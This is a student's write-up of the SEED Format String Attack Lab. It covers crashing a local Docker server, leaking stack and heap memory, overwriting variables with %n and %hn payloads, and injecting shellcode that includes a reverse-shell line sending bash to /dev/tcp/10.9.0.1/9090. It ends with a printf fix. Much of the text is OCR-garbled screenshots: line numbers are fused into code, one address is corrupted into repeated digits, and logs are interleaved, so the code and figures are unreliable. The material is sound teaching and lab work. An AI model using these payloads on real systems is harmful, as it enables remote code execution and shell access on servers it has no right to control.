To start this Format String Attack Lab I first downloaded the required files and opened the in terminal.

2. Environment Setup

```
seed@VM:~/.../Labsetup

[10/30/23]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 [10/30/23]seed@VM:~/.../Labsetup$
```

I then turned off countermeasures for address randomization And then changed the value of the makefile BUF SIZE

```
FLAGS
        = -z execstack
FLAGS 32 = -static - m32
TARGET = server format-32 format-64
L = 92
all: $(TARGET)
server: server.c
        gcc -o server server.c
format-32: format.c
        gcc -DBUF SIZE=$(L) $(FLAGS) $(FLAGS 32) -o $@ format.c
format-64: format.c
        gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c
clean:
        rm -f badfile $(TARGET)
install:
        cp server ../fmt-containers
        cp format-* ../fmt-containers
L_ TNSFRT ..
                                                               5 7
                                                                             Tor
```

I then went on to build and start the docker

```
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose build Building fmt-server-1
Step 1/6: FROM handsonsecurity/seed-ubuntu:small small: Pulling from handsonsecurity/seed-ubuntu da7391352a9b: Pull complete 14428a6d4bcd: Pull complete 2c2d948710f2: Pull complete 5d39fdfbe330: Pull complete 56b236c9d9da: Pull complete 1bb168ce59cc: Pull complete
```

Running the docker. After doing so I opened up a new terminal so that the docker kept running and stayed attached to the server.

```
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose up Creating network "net-10.9.0.0" with the default driver Creating server-10.9.0.5 ... done Creating server-10.9.0.6 ... done Attaching to server-10.9.0.5, server-10.9.0.6
```

Task 1: Crashing the Program

Now that the environment is set up properly we can begin the attack on the program. To begin we run the server on the 32-bit program which is on the 10.9.0.5 server.

```
Successfully bullt 551899b92f84
Successfully tagged seed-image-fmt-server-2:latest
                                                                                                z execstack -static -m32 -o format-32 format.c
[10/31/23]seed@VM:~/.../Labsetup$ docker-compose up
Starting server-10.9.0.5 ... done
                                                                                               ion 'myprintf':
                                                                                               ning: format not a string literal and no format argum
Starting server-10.9.0.6
Attaching to server-10.9.0.6, server-10.9.0.5 server-10.9.0.5 | Got a connection from 10.9.0.1
                                                                                               (msg);
                                                                                               -z execstack -o format-64 format.c
ion 'myprintf':
server-10.9.0.5
                    Starting format
                    The input buffer's address:
server-10.9.0.5
                                                         0xffffd6f0
server-10.9.0.5
                    The secret message's address: 0x080b4008
                                                                                               ning: format not a string literal and no format argum
server-10.9.0.5
                    The target variable's address: 0x080e5068
server-10.9.0.5
                    Waiting for user input ......
Received 6 bytes.
server-10.9.0.5
server-10.9.0.5
                    Frame Pointer (inside myprintf):
                                                                                               ~/.../server-code$ make install
                    The target variable's value (before): 0x11223344
server-10.9.0.5
                                                                                               ontainers
server-10.9.0.5
                    hello
                                                                                               -containers
server-10.9.0.5 | The target variable's value (after): 0x
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
                                                                                                -/.../server-code$ echo hello | nc 10.9.0.5 9090
                                                                                                ~/.../server-code$
```

By doing so we got the target buffer address, secret message address, and variable address. Upon stopping the process we got the frame pointer, and the variable value before and after print.

Now we are given the information that the server can accept up to 1500 bytes. We can exploit this using a different size payload for the format string.

```
\overline{\text{Got}} a connection from 10.9.0.1
                                                                   near unexpected token `l'
Starting format
                                                                   /.../server-code$ cat file | nc 10.9.0.5 9090
The input buffer's address:
                                0xffffd6f0
                                                                   file or directory
The secret message's address:
                                0x080b4008
The target variable's address: 0x080e5068
                                                                  ~/.../server-code$ cat file.txt | nc 10.9.0.5 9
Waiting for user input .....
                                                                  such file or directory
Received 3 bytes.
Frame Pointer (inside myprintf):
                                       0xffffd628
                                                                  -/.../server-code$ echo %s | nc 10.9.0.5 9090
The target variable's value (before): 0x11223344
                                                                  ~/.../server-code$
```

I crashed the program by doing echo %s

Task 2: Printing Out the Server Program's Memory 2A.

To begin this part of the assignment we first have to figure out how many %x are needed. To do this I plugged an arbitrary number in. I decided to do 63 and placed a divider between each 4 bytes

```
? import sys
3

## Initialize the content array
5N = 1500
5content = bytearray(0x0 for i in range(N))
7

## This line shows how to store a 4-byte integer at offset 0
## Initialize the content array
## This line shows how to store a 4-byte integer at offset 0
## Initialize the content array
## Initialize the content and in range(N)
## Initialize the content array
## Initializ
```

After doing so I ran the program and found the unique number address. We can then conclude that it is located at 60.

```
seed@VM: ~/.../attack-code
                           The secret message's address: 🖪 🔻
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
                            The target variable's address[11/01/23]seed@VM:~/.../attack-code$ build_string.py
0|0|0|0|0|0|0|ab304400|80e5000|80e5000|ffffdc68
|0|0|0|5dc|afafafaf|64636261|257c7825|78257c78|T

server-10.9.0.5 | (^_^)(^_^) Returned properly

server-10.9.0.5 | Got a connection from 10.9.0
                          Got a connection from 10.9.0. Starting format
The input buffer's address:
The secret message's address:
The target variable's address Waiting for user input .....
Received 1500 bytes.
Frame Pointer (inside myprint
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5
server-10.9.0.5 | The target variable's value (server-10.9.0.5 | %00 abcd11223344|ffffd680|804648|8049f7b|ffffd680|0|5c|8049f44|ffffd680|80e
0|0|0|0|0|0|0|0|6b017a00|80e5000|80e5000|ffffdc68
0|0|0|5dc|afafafaf|64636261|257c7825|78257c78|T
                            (^ ^)(^ ^) Returned properly
```

## 2B. Heap Data

To display the secret message we first copy the binary message given into the Python code given for the number. We then subtract by 1 to place the message into the heap and run the code.

```
's 8# This line shows how to store a 4-byte integer at offset 0
ge 9 number = 0x080b4008
bl10 content[0:4] = (number).to_bytes(4,byteorder='little')
il1
te12# This line shows how to store a 4-byte string at offset 4
ns13 content[4:8] = ("abcd").encode('latin-1')
bl14
    15# This line shows how to construct a string s with
de10# 12 of "%.8x", concatenated with a "%n"
ee17#s = "%.8x|"*12 + "%n"
9e18 s= "%x|"*59+"\nsecret message:%s"
    19
bl20# The line shows how to store the string s at offset 8
rr21 fmt = (s).encode('latin-1')
22 content[8:8+len(fmt)] = fmt
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5
                Starting format
                The input buffer's address:
server-10.9.0.5
                                            0xffffd080
server-10.9.0.5
                The secret message's address: 0x080b4008
server-10.9.0.5 |
                The target variable's address: 0x080e5068
server-10.9.0.5
                Waiting for user input .....
                Received 1500 bytes.
server-10.9.0.5 |
server-10.9.0.5
                Frame Pointer (inside myprintf):
                                                  0xffffcfb8
server-10.9.0.5
                The target variable's value (before): 0x11223344
server-10.9.0.5 |@
               abcd11223344|ffffd080|8049db5|80e62d4|354|80e5f80|ffffcfb8|0|80e5000|ffffd048|8049f7k
02b00|80e5000|80e5000|fffffd668|8049eff|ffffd080|5dc|5dc|80e5320|0|0|0|ffffd734|0|0|0|5dc|
server-10.9.0.5 | secret message: A secret message
server-10.9.0.5
                The target variable's value (after): 0x11223344
server-10.9.0.5 | (^{^})(^{^}) Returned properly (^{^})(^{^})
```

Task 3: Modifying the Server Program's Memory 3.A

To start this portion of the tasks we first collect the target variables address which is given to us in the format. I copied this into the number value. I then edited the string so that it was concatenated with %n so the string displays properly.

```
se 8# This line shows how to store a 4-byte integer at offset 0
le 9 \text{ number} = 0 \times 080 = 5068
ne 10 content[0:4] = (number).to_bytes(4,byteorder='little')
 f 11
  12# This line shows how to store a 4-byte string at offset 4
5 13 content[4:8] = ("abcd").encode('latin-1')
le 15 # This line shows how to construct a string s with
^{\mathsf{in}}16# 12 of "%.8x", concatenated with a "%n"
es 17 #s = "%.8x|"*12 + "%n"
si 18 s= "%x|"*59 + "%n"
le 19
fd 20 # The line shows how to store the string s at offset 8
0e_{21} fmt = (s).encode('latin-1')
4922 content[8:8+len(fmt)] = fmt
1823
ne 24 # Write the content to badfile
Sserver-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:
                                            0xffffd080
server-10.9.0.5
               The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5
               Received 1500 bytes.
server-10.9.0.5
               Frame Pointer (inside myprintf):
                                                  0xffffcfb8
server-10.9.0.5 |
               The target variable's value (before): 0x11223344
server-10.9.0.5 | habcd11223344|ffffd080|8049db5|80e62d4|354|80e5f80|ffffcfb8|0|80e5000|ffffd048|8049f
f268a00|80e5000|80e5000|ffffd668|8049eff|ffffd080|5dc|5dc|80e5320|0|0|0|0ffffd734|0|0|0|5dc|The target
variable's value (after): 0x00000118
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
```

This method worked and returned back properly.

## 3.B

Now we are told to change the value to x5000. To begin I converted it to decimal which was 20480. Then I divided it by our parameter address of 59 to get 347.118... Since we can't use decimals I rounded down to 347. This leads to a problem because multiplying the values

together gives the amount 20473 + 4 bytes +4 initial bytes gives 20481. This made me stumped for a while because I kept getting 5001 and didn't know how to manipulate the values to get 5000. I then concluded by changing 59 to 58. Multiplying that by 347 gave me 20126. I subtracted that from 20480 to get 354-8 got me 346.

```
12 of "%.8x", concatenated with a "%n"
riable's value (after): 0x00005000
eturned properly (^_^)(^_^)
    23 content[8:8+len(fmt)] = fmt
    25# Write the content to badfile
```

## 3.C

To begin we changed the target value into little-endian format and picked the lowest and highest bit. Upon doing that, we must construct the payload. First, we convert the first 4 bits AABB to Decimal which is 0xAABB = 43707. Then I do similar steps to step B. I divided that by 59 and got 740740. Multiplied 740 by 58 = 42920. 43707-42920 = 787 - 12 = 775. We then subtract CCDD-AABB = 8738. Then construct the payload altogether by changing the values of the number so that it stays in between the given target values and run the program. And we can see that it worked because it returned the string needed.

```
*Untitled Document 1
                                                                                  server.c
                                                                                                          format.
   I#:/USI/DIII/PYCIIOIIJ
  2 import sys
  3
  4# Initialize the content array
  5 N = 1500
  6 content = bytearray(0 \times 0 for i in range(N))
  8\,\text{\#} This line shows how to store a 4-byte integer at offset 0
  9 \text{ number} = 0 \times 080 = 506 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300 = 300
10 content[0:4] = (number).to bytes(4,byteorder='little')
12# This line shows how to store a 4-byte string at offset 4
13 content[4:8] = ("@@@@").encode('latin-1')
14
0.15 \text{ number} = 0 \times 080 = 5068
) 16 content[8:12] = (number).to_bytes(4,byteorder='little')
17# This line shows how to construct a string s with
)18# 12 of "%.8x", concatenated with a "%n'
)19#s = "%.8x|"*12 + "%n"
) 20 #s= "%.347x"*58+"%.346x" + "%n\n"
)21s= "%.740x"*58 + "%.775x" + "%hn" + "%.8738x" + "%hn\n"
23# The line shows how to store the string s at offset 8
24 fmt = (s).encode('latin-1')
25 content[12:12+len(fmt)] = fmt
 27 # Write the content to badfile
le$ build_string.py
le$ cat badfile | nc 10.9.0.5 9090
le$ build_string.py
le$ cat badfile | nc 10.9.0.5 9090
de$ build_string.py
le$ cat badfile | nc 10.9.0.5 9090
le$ build_string.py
le$ cat badfile | nc 10.9.0.5 9090
le$ build_string.py
le$ cat badfile | nc 10.9.0.5 9090
le$ build string.py
le$ cat badfile | nc 10.9.0.5 9090
0000000000000040404040
                                                                                                                           le$
10.9.0.5 | The target variable's value (after): 0xaabbccdd 10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
```

Task 4: Inject Malicious Code into the Server Program

- 1. The memory address marked by 2 is where the return address of printf() is placed Marked by 3 is the starting address inputted by remote users.
- 2. 59 %x format string specifiers are needed for the format string argument pointer to 3. Storing all the addresses as well as epb

To start I copied down all the addresses.

```
Open ▼ 🗊
             *Untitled Document 1
                                                     *exploit.pv
                                                                                      build_string.py
48#
49#
       Construct the format string here
50
51input buffer = 0xffffd45c #0xffffd330 + 400 after hex
53
54# This line shows how to store a 4-byte integer at offset 0
55 \text{ number} = 0 \times ffffd26c
56 content[0:4] = (number).to bytes(4,byteorder='little')
58# This line shows how to store a 4-byte string at offset 4
59 content[4:8] = ("@@@@").encode('latin-1')
60
61 \text{ number} = 0 \times ffffd26c + 2
62 content[8:12] = (number).to bytes(4,byteorder='little')
63# This line shows how to construct a string s with
64# 12 of "%.8x", concatenated with a "%n"
65 \#s = "%.8x|"*12 + "%n"
66 s= "%.8x"*58 + "%.53888x" + "%hn" + "%.11171x" + "%hn\n"
67
68# The line shows how to store the string s at offset 8
69 \text{ fmt} = (s).encode('latin-1')
70 \operatorname{content}[12:12+\operatorname{len}(fmt)] = fmt
```

To get the input buffer I take the address and + 400 to skip all of the input to place it in the NOP sled. Then I took the Frame pointer +4 to get ffffd26c and placed it at the beginning of the payload. Then + 2 for the %hn bite range.

Then to construct string I multiply .8x \*58. Then multiply it by 53888x which I got by converting d45c to decimal and - 12 -58\*8. And then to get 11171x I did f45c - ffff. I then put it all in the payload and executed.

```
4040
     set
                ©CG©[H©K
@KP@CT@KH1@1@@5 | @KL@K
                             )
   �����/bin/bash*-c*/bin/ls -l; echo '===== Success! ======'
                         *AAAABBBBCC
et 4
): 0x11223344
server-10.9.0.5 |
     total 832
server-10.9.0.5
     -rw----- 1 root root 319488 Nov 1 17:02 core
server-10.9.0.5 | -rwxrwxr-x 1 root root 709340 Oct 31 21:16 format
server-10.9.0.5
    -rwxrwxr-x 1 root root 17880 Oct 31 21:16 server
server-10.9.0.5 |
     ===== Success! =====
            69 \, \text{fmt} = (s) \cdot \text{encode}('latin-1')
```

Then to get the reverse shell

To do this I simply went to number 9 of the guide to find the instructions for the reverse shell. I first opened up a new tab in the terminal. I then typed in the bash command given and ran it.

```
11/01/23]seed@VM:~/.../attack-code$ nc -nv -l 9090 istening on 0.0.0.0 9090
```

And then I went on to edit the exploit and used the command also given to us in part that directs to the bin/bash directory which is supposed to give us root. After doing so I ran everything together and saw that I successfully reached the root, thus getting the reverse shell. The text given is extremely case sensitive though. I spent about 30 mins wondering why it wasn't working but i was missing a single space before the "\*".

```
8  "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
9  "/bin/bash*"
10  "-c*"
11  # The * in this line serves as the position marker *
12  "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
13
```

Task 6: Fixing the problem

Went back to the server code file to see the warning message again

Upon closer inspection, I could see that it was just missing a format string

```
// This line has a format-string vulnerability
printf("%s", msg);
// This line has a format-string vulnerability
// printf("%s", msg);
// printf("%s"
```

```
seed@VM: ~/.../server-code × seed@VM: ~/.../attack-code

[11/05/23]seed@VM: ~/.../server-code$ make

gcc -o server server.c

gcc -DBUF_SIZE=92 -z execstack -static -m32 -o format-32 format.c

gcc -DBUF_SIZE=92 -z execstack -o format-64 format.c

[11/05/23]seed@VM:~/.../server-code$
```

After recompiling I can see that the error did in fact go away and made successfully.

## Rerunning an attack and seeing that it did return properly

```
Waiting for user input .....
Received 1500 bytes.
ver-10.9.0.5
ver-10.9.0.5
                                                                                                                                                                                                        seed@VM: ~/.../attack-code
ver-10.9.0.5
                                 Frame Pointer (inside myprintf):
\text{Ver-10.9.0.5} | Frame Pointer (Inside myprint): 0x
\text{ver-10.9.0.5} | The target variable's value (before): 0x
\text{ver-10.9.0.5} | \text{Ver-10
[100C
                             ØС
                                 ©CG@[H@K
0CT0KH101005 | 0KL0K
0x11223344
```